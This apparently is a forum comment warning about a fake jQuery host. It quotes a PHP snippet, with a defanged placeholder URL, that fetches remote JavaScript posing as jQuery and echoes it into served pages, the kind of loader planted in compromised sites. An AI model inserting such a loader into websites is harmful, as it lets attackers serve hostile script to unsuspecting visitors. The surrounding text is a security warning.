Because it's not the official jquery host?
ALWAYS, ALWAYS use jquery.org or the Google CDN.. or better yet host it yourself.
Remember kids: Stay in school, and most importantly, obfuscate your malicious JavaScript code.
<?php
if(function_exists('curl_init'))
{
$url = "hxxp://"URL"/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>